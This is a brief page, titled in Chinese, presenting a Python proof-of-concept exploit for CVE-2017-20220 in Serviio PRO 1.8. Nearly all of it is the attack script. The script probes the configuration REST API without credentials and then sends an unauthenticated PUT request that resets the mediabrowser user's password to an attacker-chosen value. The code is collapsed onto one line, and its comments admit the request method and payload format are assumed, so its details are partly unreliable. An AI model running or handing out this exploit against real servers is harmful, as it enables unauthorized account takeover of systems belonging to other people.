CVE-2017-20220: Serviio PRO 1.8配置REST API未授权访问漏洞

import requests # CVE-2017-20220 PoC - Serviio PRO 1.8 Unauthorized Password Change # Target: Serviio PRO 1.8 Configuration REST API # Vulnerability: Improper Access Control - Authentication Bypass target_host = "http://target-server:23423" # Serviio default port def exploit_cve_2017_20220(): """ Exploit for CVE-2017-20220: Serviio PRO 1.8 Configuration REST API allows unauthenticated attackers to change the mediabrowser login password. """ # Step 1: Identify the vulnerable API endpoint api_endpoint = f"{target_host}/serviio/api/configuration/users/mediabrowser/password" # Step 2: Prepare malicious request to change password # The API expects a PUT or POST request with new password in JSON format payload = { "newPassword": "hacked_by_cve_2017_20220" } headers = { "Content-Type": "application/json", "User-Agent": "Serviio-Client/1.8" } print(f"[*] Target: {target_host}") print(f"[*] Exploiting CVE-2017-20220...") print(f"[*] Sending password change request to: {api_endpoint}") try: # Step 3: Send the exploit request (no authentication required) response = requests.put(api_endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code in [200, 204]: print("[+] SUCCESS: Password changed successfully!") print(f"[+] New password set for mediabrowser user") return True else: print("[-] FAILED: Password change request failed") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False def verify_vulnerability(): """Verify if target is vulnerable to CVE-2017-20220""" check_url = f"{target_host}/serviio/api/configuration" try: # Try to access configuration API without authentication response = requests.get(check_url, timeout=10) if response.status_code == 200: print("[+] Target appears to be accessible - may be vulnerable") return True else: print("[-] Target not accessible or already patched") return False except requests.exceptions.RequestException: print("[-] Cannot connect to target") return False if __name__ == "__main__": print("=" * 60) print("CVE-2017-20220 Exploit - Serviio PRO 1.8") print("Unauthorized Password Change via REST API") print("=" * 60) verify_vulnerability() exploit_cve_2017_20220()